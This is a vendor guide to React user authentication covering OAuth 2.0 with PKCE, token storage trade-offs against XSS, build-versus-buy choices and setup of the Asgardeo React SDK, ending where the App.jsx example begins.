<p>That distinction is the whole subject. Your React app bundle ships to the user's device, where they can read it, modify it, and run it under a debugger, so anything it contains is public and anything it decides can be overridden. The React app is not a security boundary. React user authentication is a client that requests proof from one server and presents it to another, and the honest way to read every code sample below is as user experience wrapped around a decision made somewhere else.</p>
<p>That framing also explains a class of bug that looks like a security hole and isn't. If you hide an admin button behind a role check and someone opens dev tools to un-hide it, nothing has been breached. The breach happens only if the API behind that button also trusts the client. That's worth pinning down precisely, since authentication and authorization get used almost interchangeably and they are not the same thing in a React app.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="authentication-vs-authorization-in-one-table">Authentication vs authorization in one table<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#authentication-vs-authorization-in-one-table" class="hash-link" aria-label="Direct link to Authentication vs authorization in one table" title="Direct link to Authentication vs authorization in one table" translate="no">​</a></h3>
<table><thead><tr><th></th><th>Authentication</th><th>Authorization</th></tr></thead><tbody><tr><td>Question answered</td><td>Who is this user?</td><td>What may this user do?</td></tr><tr><td>Produces</td><td>Proof of who someone is</td><td>A yes or no on one action</td></tr><tr><td>Standard involved</td><td>OpenID Connect</td><td>OAuth 2.0 scopes, plus your own policy</td></tr><tr><td>Where it runs</td><td>Identity provider</td><td>Resource server, your API</td></tr><tr><td>Safe to do in React?</td><td>No, delegate it</td><td>No, mirror it for UX only</td></tr></tbody></table>
<p>OpenID Connect answers the first question, OAuth 2.0 answers the second, and neither name needs more explanation yet. The row that matters is the last one. Both belong on a server, and both get mirrored into your React code so the interface makes sense.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-the-browser-can-and-cannot-be-trusted-with">What the browser can and cannot be trusted with<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#what-the-browser-can-and-cannot-be-trusted-with" class="hash-link" aria-label="Direct link to What the browser can and cannot be trusted with" title="Direct link to What the browser can and cannot be trusted with" translate="no">​</a></h3>
<p>The browser protects you in one direction only, and knowing which direction explains most of this guide. It does stop other websites from reading your page's data. What it cannot do is protect your page from code running inside your page. If an attacker gets a script onto your site, through a comment field, a dependency, or an ad, the browser treats that script as part of your page, so it can read anything your own code can read. That attack is called cross-site scripting, usually shortened to XSS.</p>
<p>Other sites, kept out but your own page, wide open. When you reach the argument later about where to keep a login token, that gap is the only reason the argument exists.</p>
<p>One consequence lands right away. A server-side application usually proves its identity to a login service with a password that belongs to the application itself rather than to any user, and that password stays safe because it never leaves the server. A React app cannot use one, because shipping it to the browser publishes it to everyone who loads your site. OAuth 2.0 has a name for applications in that position, public clients, and every browser app is one. It is also why the sign-in sequence in the next section carries an extra step that server-side apps skip. That step exists to replace the password your app cannot keep.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-four-options-and-when-each-is-wrong">The four options, and when each is wrong<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#the-four-options-and-when-each-is-wrong" class="hash-link" aria-label="Direct link to The four options, and when each is wrong" title="Direct link to The four options, and when each is wrong" translate="no">​</a></h2>
<p>Here's the gap in most of the guides on this topic: they teach one path. In practice there are four, and picking the wrong one costs more than a bad afternoon of coding. Each verdict below includes the case where it's the wrong answer, because that's the part vendors leave out.</p>
<ul>
<li class="">
<p><strong>Roll your own:</strong> You own a users table, hash passwords yourself, and issue your own sessions or tokens. This is fine for a prototype, a hackathon, or an internal tool with 12 users behind a VPN. Avoid it in production. Without realizing it, you end up designing, implementing, running, and maintaining an identity provider by yourself. The list of things you now maintain is longer than it looks: password reset, email verification, session revocation, account lockout, credential stuffing defense, audit logging, and eventually someone asking for single sign-on.</p>
</li>
<li class="">
<p><strong>A library:</strong> A React authentication library such as Auth.js or Better Auth runs inside your own application, with a backend component that handles the mechanics, without introducing a separate service. You keep your data and your deployment story stays simple. While this is lighter than rolling your own, you're still responsible for that backend component's updates and its security posture. It's the wrong answer when you need federation to enterprise identity providers, when compliance asks for an audit trail you didn't build, or when a second application needs to share the same login and the library only ever ran inside the first one.</p>
</li>
<li class="">
<p><strong>A self-hosted identity provider:</strong> Open source software such as WSO2 Identity Server and Keycloak, or their proprietary equivalents, gives you a full identity provider that you run yourself, speaking the same standards as any commercial service. You keep data residency and you can deploy anywhere, including networks with no internet access. Compared to the previous two options, you're still running and maintaining it, but you get more support from maintainers and vendors than a library gives you, especially around scaling, performance, compliance, and deployment artifacts. It's the wrong answer when nobody on your team wants to own upgrades, certificate rotation, and a pager alert at three in the morning, and it's an expensive answer if you pick it for a five-person side project.</p>
</li>
<li class="">
<p><strong>A hosted identity service (IDaaS):</strong> A third party runs the identity provider and delivers it to you as a service. Providers such as WSO2 Identity Platform and Auth0 own the installing, the patching, the scaling, and the on-call rotation, and none of it is yours. That makes this the most straightforward of the four and by a distance the fastest to a working login, which is why so many teams start here and why it is usually the right place to start. What you give up is ownership. Identity runs on somebody else's infrastructure rather than inside yours, and you pay by usage rather than for servers, so the bill tracks how well your product is doing. It's the wrong answer when identity has to live inside your own infrastructure, whether for data residency, for a network with no route to the internet, or for a regulator who wants to know exactly where the data sits, and it's the wrong answer when usage-based pricing at your scale costs more than operating it yourself would.</p>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="decision-table-control-effort-cost-at-scale-compliance">Decision table: control, effort, cost at scale, compliance<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#decision-table-control-effort-cost-at-scale-compliance" class="hash-link" aria-label="Direct link to Decision table: control, effort, cost at scale, compliance" title="Direct link to Decision table: control, effort, cost at scale, compliance" translate="no">​</a></h3>
<table><thead><tr><th></th><th>Roll your own</th><th>Library</th><th>Self-hosted provider</th><th>IDaaS</th></tr></thead><tbody><tr><td>Control over data</td><td>Total</td><td>Total</td><td>Total</td><td>Provider's terms</td></tr><tr><td>Time to first login</td><td>Days to weeks</td><td>Days to weeks</td><td>Hours to days</td><td>Hours to days</td></tr><tr><td>Ongoing effort</td><td>Highest, forever</td><td>Low</td><td>Moderate, ops-shaped</td><td>Lowest</td></tr><tr><td>Cost shape</td><td>Staff time</td><td>Staff time</td><td>Infrastructure plus staff time</td><td>Per active user/capabilities</td></tr><tr><td>Federation and SSO</td><td>Build it</td><td>Sometimes</td><td>Yes</td><td>Yes</td></tr><tr><td>Air-gapped deployment</td><td>Possible</td><td>Possible</td><td>Yes</td><td>No</td></tr><tr><td>Standards conformance</td><td>Yours to prove</td><td>Usually</td><td>Yes</td><td>Yes</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-build-versus-buy-tipping-point">The build-versus-buy tipping point<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#the-build-versus-buy-tipping-point" class="hash-link" aria-label="Direct link to The build-versus-buy tipping point" title="Direct link to The build-versus-buy tipping point" translate="no">​</a></h3>
<p>The tipping point isn't user count, which is the metric everyone reaches for first. It's the arrival of the second requirement that isn't login. One application with email and password is a weekend. The same application plus "our enterprise customer wants SAML", plus "security wants MFA on admin accounts", plus "legal wants to know who accessed what" is a quarter of engineering time you didn't plan for, and it recurs.</p>
<p>So the useful question is not "can we build this?" It's "do we want to be maintaining an identity provider in three years?" If the honest answer is no, choose a provider now, while migrating is still cheap.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-standard-flow-authorization-code-with-pkce">The standard flow: Authorization Code with PKCE<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#the-standard-flow-authorization-code-with-pkce" class="hash-link" aria-label="Direct link to The standard flow: Authorization Code with PKCE" title="Direct link to The standard flow: Authorization Code with PKCE" translate="no">​</a></h2>
<p>Before naming the exact steps, it's worth stopping to say what OAuth 2.0 and OpenID Connect actually are, since you met their names earlier and everything below assumes you know what they cover.</p>
<p>OAuth 2.0 solves a narrow problem: how does one application get permission to act on a user's behalf against a second service, without the user ever handing that first application their password. As an example, you've used this yourself every time an app showed you a "Continue with Google" screen that then listed exactly what it wanted access to. You approve it at Google, not at the app, and Google hands the app a limited pass rather than your actual Google password. That limited pass is a token, and OAuth 2.0 is the rulebook for how an app requests one, how the user approves it, and how the app uses it afterward.</p>
<p>OpenID Connect is built directly on top of that same mechanism, and it answers a different question. OAuth 2.0 asks "can this app do this one thing for the user." OpenID Connect asks "who is this user, at all," and it answers that by adding one more thing to what comes back: a signed statement of identity, called an ID token, alongside the permission token OAuth 2.0 already provides. In other words, OAuth 2.0 gets your app permission, and OpenID Connect gets it a name to go with that permission, which is what lets it show a name instead of letting an anonymous visitor through.</p>
<p>Both standards describe their exchange as a flow, a fixed, numbered sequence of redirects and requests that your app, the browser, and the identity provider all follow in the same order. The word sounds abstract, but the reason it exists is concrete. If every login service invented its own redirect sequence, no two of them could be trusted the same way, and no library could support more than one. A shared flow is what lets any React app talk to any conformant identity provider using the same steps.</p>
<p>For a React single-page app, one flow is correct: the OAuth 2.0 authorization code flow with PKCE, defined in the <a href="https://datatracker.ietf.org/doc/html/rfc6749" target="_blank" rel="noopener noreferrer" class="">OAuth2 core standard (RFC 6749)</a> and extended for public clients like yours by <a href="https://datatracker.ietf.org/doc/html/rfc7636" target="_blank" rel="noopener noreferrer" class="">Proof Key for Code Exchange by OAuth Public Clients standard - PKCE (RFC 7636)</a>. It's the same base flow that OpenID Connect layers identity on top of, so OAuth and OIDC describe the same exchange here.</p>
<p>Stripped down, that base flow is two redirects and one direct request. Your app sends the browser to the identity provider's sign-in page. The user proves who they are there. The identity provider sends the browser back to your app carrying a short-lived voucher, called an authorization code, rather than the actual tokens. Your app then contacts the identity provider a second time, directly rather than through the browser, hands over that code, and gets the real tokens back in exchange. A browser hop, then a direct request: that is the whole shape of it, and it is what "authorization code flow" refers to.</p>
<p><img decoding="async" loading="lazy" alt="Sequence diagram showing how the OAuth 2.0 Authorization Code Grant flow works in a React application when implementing user login." src="https://choreolabs.com/identity-and-access-management/learn/assets/images/auth-code-flow-simple-b49d10a9864759763a16185e4099b1bd.png" width="2800" height="2400" class="img_ev3q"></p>
<p>PKCE is what gets added to that shape for an application like yours that cannot hold a secret. At a high level, it replaces the password or client secret a server-side app would use with something your React app can safely generate on the spot: a value only it knows, and proof that it knows that value, checked by the identity provider before it hands over any tokens, which is what makes the flow above safe to run entirely in a browser.</p>
<p><img decoding="async" loading="lazy" alt="Sequence diagram showing how the OAuth 2.0 Authorization Code Grant with PKCE flow works in a React application when implementing user login." src="https://choreolabs.com/identity-and-access-management/learn/assets/images/pkce-auth-code-flow-a2157e045a4415e43823b039ec228881.png" width="3200" height="4000" class="img_ev3q"></p>
<p>The exact step-by-step mechanics of this exchange, including why the proof travels over two separate channels, get their own walkthrough in a future post in this series, "OAuth 2.0 and OIDC in React: The Authorization Code Flow with PKCE, Explained." What matters here is that this is the one flow to use, and the two sections below cover the two mistakes that actually happen in practice.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-the-implicit-flow-is-gone">Why the implicit flow is gone<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#why-the-implicit-flow-is-gone" class="hash-link" aria-label="Direct link to Why the implicit flow is gone" title="Direct link to Why the implicit flow is gone" translate="no">​</a></h3>
<p>Older tutorials use the implicit flow from OAuth 2.0, where the authorization server returns an access token directly in the redirect, in one step, skipping the two-step exchange described above. <a href="https://datatracker.ietf.org/doc/html/rfc9700" target="_blank" rel="noopener noreferrer" class="">Best Current Practice for OAuth 2.0 Security (RFC 9700)</a>, published in January 2025 as the current security best practice for OAuth 2.0, is direct about it. Response types that issue access tokens in the authorization response "are vulnerable to access token leakage and access token replay," and clients "SHOULD NOT use the implicit grant ... unless access token injection in the authorization response is prevented and the aforementioned token leakage vectors are mitigated." In a browser you are not going to meet that exception, so read it as no.</p>
<p>The same document sets the floor for browser apps in one line: "Public clients MUST use PKCE," and "Authorization servers MUST support PKCE." A React app is a public client, so that MUST is yours. If a guide doesn't mention PKCE, it predates the requirement, whatever its publication date says.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-pkce-actually-protects-against">What PKCE actually protects against<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#what-pkce-actually-protects-against" class="hash-link" aria-label="Direct link to What PKCE actually protects against" title="Direct link to What PKCE actually protects against" translate="no">​</a></h3>
<p>PKCE has one job, and it isn't the one most developers assume. It doesn't protect the token, it protects the code. Where it came from matters here, because the reason a browser app needs it is not the reason it was invented.</p>
<p><a href="https://datatracker.ietf.org/doc/html/rfc7636" target="_blank" rel="noopener noreferrer" class="">PKCE</a> standard was originally written for native and mobile apps, where a malicious app on the same device can register the same custom URI scheme and grab the code out of the redirect. PKCE standard is explicit that the browser's own redirect is TLS-protected and "cannot be intercepted." For a React app the threat PKCE closes is the one RFC 9700 names: authorization code injection, where an attacker feeds your app a code obtained somewhere else and lets your app redeem it. Without PKCE your app has no way to tell that the code it's exchanging is the code it asked for, which is why PKCE is a MUST for public clients rather than a native-app nicety.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-tokens-live-and-why-localstorage-is-usually-wrong">Where tokens live, and why localStorage is usually wrong<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#where-tokens-live-and-why-localstorage-is-usually-wrong" class="hash-link" aria-label="Direct link to Where tokens live, and why localStorage is usually wrong" title="Direct link to Where tokens live, and why localStorage is usually wrong" translate="no">​</a></h2>
<p>Access tokens are usually JWTs, and where to store JWTs in the browser is the most argued question in React authentication. Every option trades persistence against blast radius. localStorage persists across browser sessions, so it survives a closed browser entirely. sessionStorage lasts for the page session and clears when the tab closes. A web worker isolates tokens from the DOM, which makes it the most defensible of the three.</p>
<p>The short version: anything readable by JavaScript on your page is readable by injected JavaScript on your page. A React localStorage token is convenient and survives a refresh, and it's also the first place a cross-site scripting payload looks. That's not an argument for never using it, it's an argument for knowing what you accepted.</p>
<p>Stop at the first question you can answer yes to. Every step down the staircase costs you something.</p>
<table><thead><tr><th>Storage</th><th>Survives refresh</th><th>Exposure to XSS</th><th>Reasonable when</th></tr></thead><tbody><tr><td>In-memory variable</td><td>No</td><td>Yes, while the tab is open</td><td>Paired with a rotated refresh token</td></tr><tr><td>Web worker</td><td>No</td><td>Isolated from the DOM</td><td>You can add the worker plumbing</td></tr><tr><td>httpOnly cookie</td><td>Yes</td><td>Not readable, still usable</td><td>You have a backend to set it</td></tr><tr><td>sessionStorage</td><td>Yes, in that tab</td><td>Yes</td><td>Short sessions, lower risk apps</td></tr><tr><td>localStorage</td><td>Yes</td><td>Yes</td><td>Convenience outweighs the exposure</td></tr></tbody></table>
<p>No row in that table says "safe from XSS," and httpOnly is the row people misread. It stops a payload from reading the cookie, but not from making requests the browser attaches the cookie to, so the attacker still gets every authenticated action the user has without ever seeing the credential. The same caveat applies to the worker, since injected code in the main thread can ask the worker to make the call. Storage choice bounds what an attacker walks away with. It doesn't stop them acting as the user while the page is open.</p>
<p>One architecture is missing from that table because it removes the question rather than answering it. If your React app is served alongside a backend, the backend can hold the tokens and expose the session to the browser as an httpOnly cookie, which is the backend-for-frontend pattern. The IETF's browser-based-apps draft "strongly recommend[s]" it "for business applications, sensitive applications, and applications that handle personal data." It costs you a server. It buys you a browser that never holds a token at all.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="connecting-your-react-app-to-an-identity-provider">Connecting your React app to an identity provider<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#connecting-your-react-app-to-an-identity-provider" class="hash-link" aria-label="Direct link to Connecting your React app to an identity provider" title="Direct link to Connecting your React app to an identity provider" translate="no">​</a></h2>
<p>Everything so far has been about picking a provider. This section is about the seam between that provider and your code, and there are three distinct ways to build it. They are not three products. They are three levels of abstraction over the same OpenID Connect exchange, and the level you pick decides how much of that exchange stays your responsibility.</p>
<p>One thing to hold on to before the details, because it is what makes this choice low risk: all three speak the same protocol to the same identity provider. Moving between levels later means rewriting your integration code, not re-architecting your identity.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-1-wire-it-at-the-protocol-level">Level 1: Wire it at the protocol level<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#level-1-wire-it-at-the-protocol-level" class="hash-link" aria-label="Direct link to Level 1: Wire it at the protocol level" title="Direct link to Level 1: Wire it at the protocol level" translate="no">​</a></h3>
<p>You implement the OpenID Connect flow yourself. The dependency list is short, an OAuth 2.0 or OpenID Connect client library and something to parse and validate JSON web tokens, and past that the code is yours.</p>
<p>This is the minimalist option in dependency terms and the maximalist one in every other sense. You write the redirect to the authorization endpoint, the handling of the code that comes back, the exchange at the token endpoint, and the validation of what you receive. Then you own the part that outlasts the initial build: deciding where tokens live, noticing when an access token is about to expire, refreshing it without stranding in-flight requests, and clearing everything correctly on sign-out.</p>
<p>In practice, the cost is time, code you have to maintain, and a specific expertise your team has to keep. What you get back is that nothing is hidden from you and nothing ties you to one vendor's package. AI code generation can take some of that burden off you, but the expertise gap remains, because someone still has to know whether the generated code is right.</p>
<p><strong>Pick this when</strong> you need to work against arbitrary OIDC providers rather than one, when a security review requires reading every line in the authentication path, or when no usable SDK exists for your provider. <strong>Avoid it when</strong> nobody on the team has implemented OIDC before, because the failure modes here are quiet ones that look like working software.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-2-a-headless-react-sdk">Level 2: A headless React SDK<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#level-2-a-headless-react-sdk" class="hash-link" aria-label="Direct link to Level 2: A headless React SDK" title="Direct link to Level 2: A headless React SDK" translate="no">​</a></h3>
<p>A vendor-provided or community React SDK that handles the protocol and leaves the interface to you. "Headless" is already the word React developers use for a library that ships behavior without markup, and it fits this exactly.</p>
<p>At this level the OIDC flow, token storage, and the token lifecycle all stop being yours. The SDK exposes hooks and utility functions you call from your own event handlers: something to start sign-in, something to sign out, and state telling you whether a user is signed in and who they are. Expiry and refresh happen underneath, and where the provider rotates refresh tokens the SDK absorbs that too, without your components ever knowing it happened.</p>
<p>What stays yours is every pixel. There are no components in the box, so the sign-in button, the profile panel, the loading state, and the error handling are all things you design and build.</p>
<p><strong>Pick this when</strong> you have a design system that authentication has to live inside, or when the sign-in experience is part of your product rather than a doorway in front of it. <strong>Avoid it when</strong> what you would build is the ordinary set of components anyway, because then you are hand-making what the next level hands you.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-3-a-react-sdk-with-drop-in-components">Level 3: A React SDK with drop-in components<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#level-3-a-react-sdk-with-drop-in-components" class="hash-link" aria-label="Direct link to Level 3: A React SDK with drop-in components" title="Direct link to Level 3: A React SDK with drop-in components" translate="no">​</a></h3>
<p>The highest level of abstraction, and the least common of the three. Alongside the hooks, this kind of SDK ships finished React components: a sign-in component, a sign-out component, a user profile component, often named something like <code>&lt;SignIn /&gt;</code>, <code>&lt;SignOut /&gt;</code>, and <code>&lt;UserProfile /&gt;</code>, styled and working the moment you place them in your tree. Configure your identity provider details once, drop the components where you want them, and you have a working authenticated application.</p>
<p>Styling is not the trade it sounds like, because these components are built to be restyled with your own stylesheet, so ready-made does not mean stuck with someone else's design. The real trade sits elsewhere. Your JSX now contains a vendor's component names, which is the tightest coupling of the three levels.</p>
<p>Two things stop that from becoming a trap. Anything the components do not expose can usually be reached by extending them, and the hooks from level two are still there underneath, so a single screen that needs full control can drop a level without the rest of your application following it.</p>
<p><strong>Pick this when</strong> you want a working authenticated application in days rather than weeks, which is most of the time. <strong>Avoid it when</strong> you already know your requirements exceed what the components expose, because you will end up at level two having paid for the detour.</p>
<p>Comparing the three levels:</p>
<table><thead><tr><th></th><th>Level 1: Protocol</th><th>Level 2: Headless SDK</th><th>Level 3: Drop-in components</th></tr></thead><tbody><tr><td>What you install</td><td>An OIDC client library, plus a JWT library</td><td>The provider's React SDK</td><td>The provider's React SDK</td></tr><tr><td>Who implements the OIDC flow</td><td>You</td><td>The SDK</td><td>The SDK</td></tr><tr><td>Who stores and refreshes tokens</td><td>You</td><td>The SDK</td><td>The SDK</td></tr><tr><td>Who builds the sign-in interface</td><td>You</td><td>You</td><td>The SDK, restyled by you</td></tr><tr><td>What you actually write</td><td>The flow, the token layer, and the interface</td><td>The interface</td><td>Configuration</td></tr><tr><td>Knowledge required</td><td>OAuth 2.0 and OIDC in depth</td><td>The SDK's API</td><td>The SDK's API</td></tr><tr><td>Time to a working sign-in</td><td>Weeks</td><td>Days</td><td>Hours</td></tr><tr><td>Coupling to one vendor</td><td>Lowest</td><td>Higher</td><td>Highest</td></tr><tr><td>If you outgrow it</td><td>Nothing to outgrow</td><td>Drop to level one</td><td>Drop to level two</td></tr></tbody></table>
<p>The pattern in that table is worth saying out loud. Moving up a level never buys you a different protocol. It buys you fewer things you are responsible for, and it charges you in coupling. That is the whole trade, and it is why the escape hatch in the last row matters more than the time saving in the row above it.</p>
<p>The rest of this guide works at level three and drops to level two wherever a section needs the raw state.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="wiring-it-up-with-wso2-react-sdk">Wiring it up with WSO2 React SDK<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#wiring-it-up-with-wso2-react-sdk" class="hash-link" aria-label="Direct link to Wiring it up with WSO2 React SDK" title="Direct link to Wiring it up with WSO2 React SDK" translate="no">​</a></h2>
<p>Now the code, because authentication in React JS ultimately comes down to a provider, a couple of hooks, and a redirect you have to respect. WSO2 Identity Platform publishes the Asgardeo React SDK under the @asgardeo npm scope, licensed Apache-2.0.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="install-and-configure-react-sdk">Install and configure React SDK<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#install-and-configure-react-sdk" class="hash-link" aria-label="Direct link to Install and configure React SDK" title="Direct link to Install and configure React SDK" translate="no">​</a></h3>
<p>The shape is a provider near the root of the tree holding configuration and session state, and two ways to read it. There are drop-in components for the common cases, and a hook when you want the state directly. The following commands show how to scaffold a React application and install the WSO2 React SDK.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npm create vite@latest wso2-react -- --template react</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install @asgardeo/react</span><br></span></code></pre></div></div>
<p>The React SDK provides the components and hooks required to integrate WSO2 Identity Platform into your application. Now that you have installed the React SDK in your project, the next step is to connect your React application to WSO2 Identity Platform by configuring the <code>&lt;AsgardeoProvider /&gt;</code>.</p>
<p>The <code>&lt;AsgardeoProvider /&gt;</code> acts as the context provider for the React SDK. To integrate it, wrap your root component in the main.jsx file with <code>&lt;AsgardeoProvider /&gt;</code>, as shown in the following code segment.</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">StrictMode</span><span class="token imports"> </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> createRoot </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'react-dom/client'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./index.css'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">App</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./App.jsx'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword module" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:#5A6072">{</span><span class="token imports"> </span><span class="token imports maybe-class-name" style="color:#0B1633;font-weight:600">AsgardeoProvider</span><span class="token imports"> </span><span class="token imports punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@asgardeo/react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token function" style="color:#0B1633;font-weight:600">createRoot</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token dom variable" style="color:#C43300">document</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">getElementById</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'root'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">render</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">StrictMode</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AsgardeoProvider</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">      </span><span class="token tag attr-name" style="color:#1F4FFF">clientId</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">your-app-client-id</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">      </span><span class="token tag attr-name" style="color:#1F4FFF">baseUrl</span><span class="token tag attr-value punctuation attr-equals" style="color:#5A6072">=</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag attr-value" style="color:#15803D">https://api.asgardeo.io/t/your-organization-name</span><span class="token tag attr-value punctuation" style="color:#5A6072">"</span><span class="token tag" style="color:#1F4FFF"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token tag" style="color:#1F4FFF">    </span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">App</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AsgardeoProvider</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">StrictMode</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><br></span></code></pre></div></div>
<p>Two things to get right here rather than later. Redirect URLs must match what you registered on the application exactly, including trailing slashes, because a mismatch fails at the authorization server with an error that reads like a configuration bug somewhere else. And the scopes you request determine which claims come back, so if a username renders as undefined the fix is usually a missing scope, not a missing hook.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="sign-in-sign-out-and-reading-the-user">Sign in, sign out, and reading the user<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication#sign-in-sign-out-and-reading-the-user" class="hash-link" aria-label="Direct link to Sign in, sign out, and reading the user" title="Direct link to Sign in, sign out, and reading the user" translate="no">​</a></h3>
<p>Now, let's use the drop-in components provided by the WSO2 Identity Platform React SDK to add login and logout functionality. Simply replace the contents of your <code>App.jsx</code> file with the following code:</p>
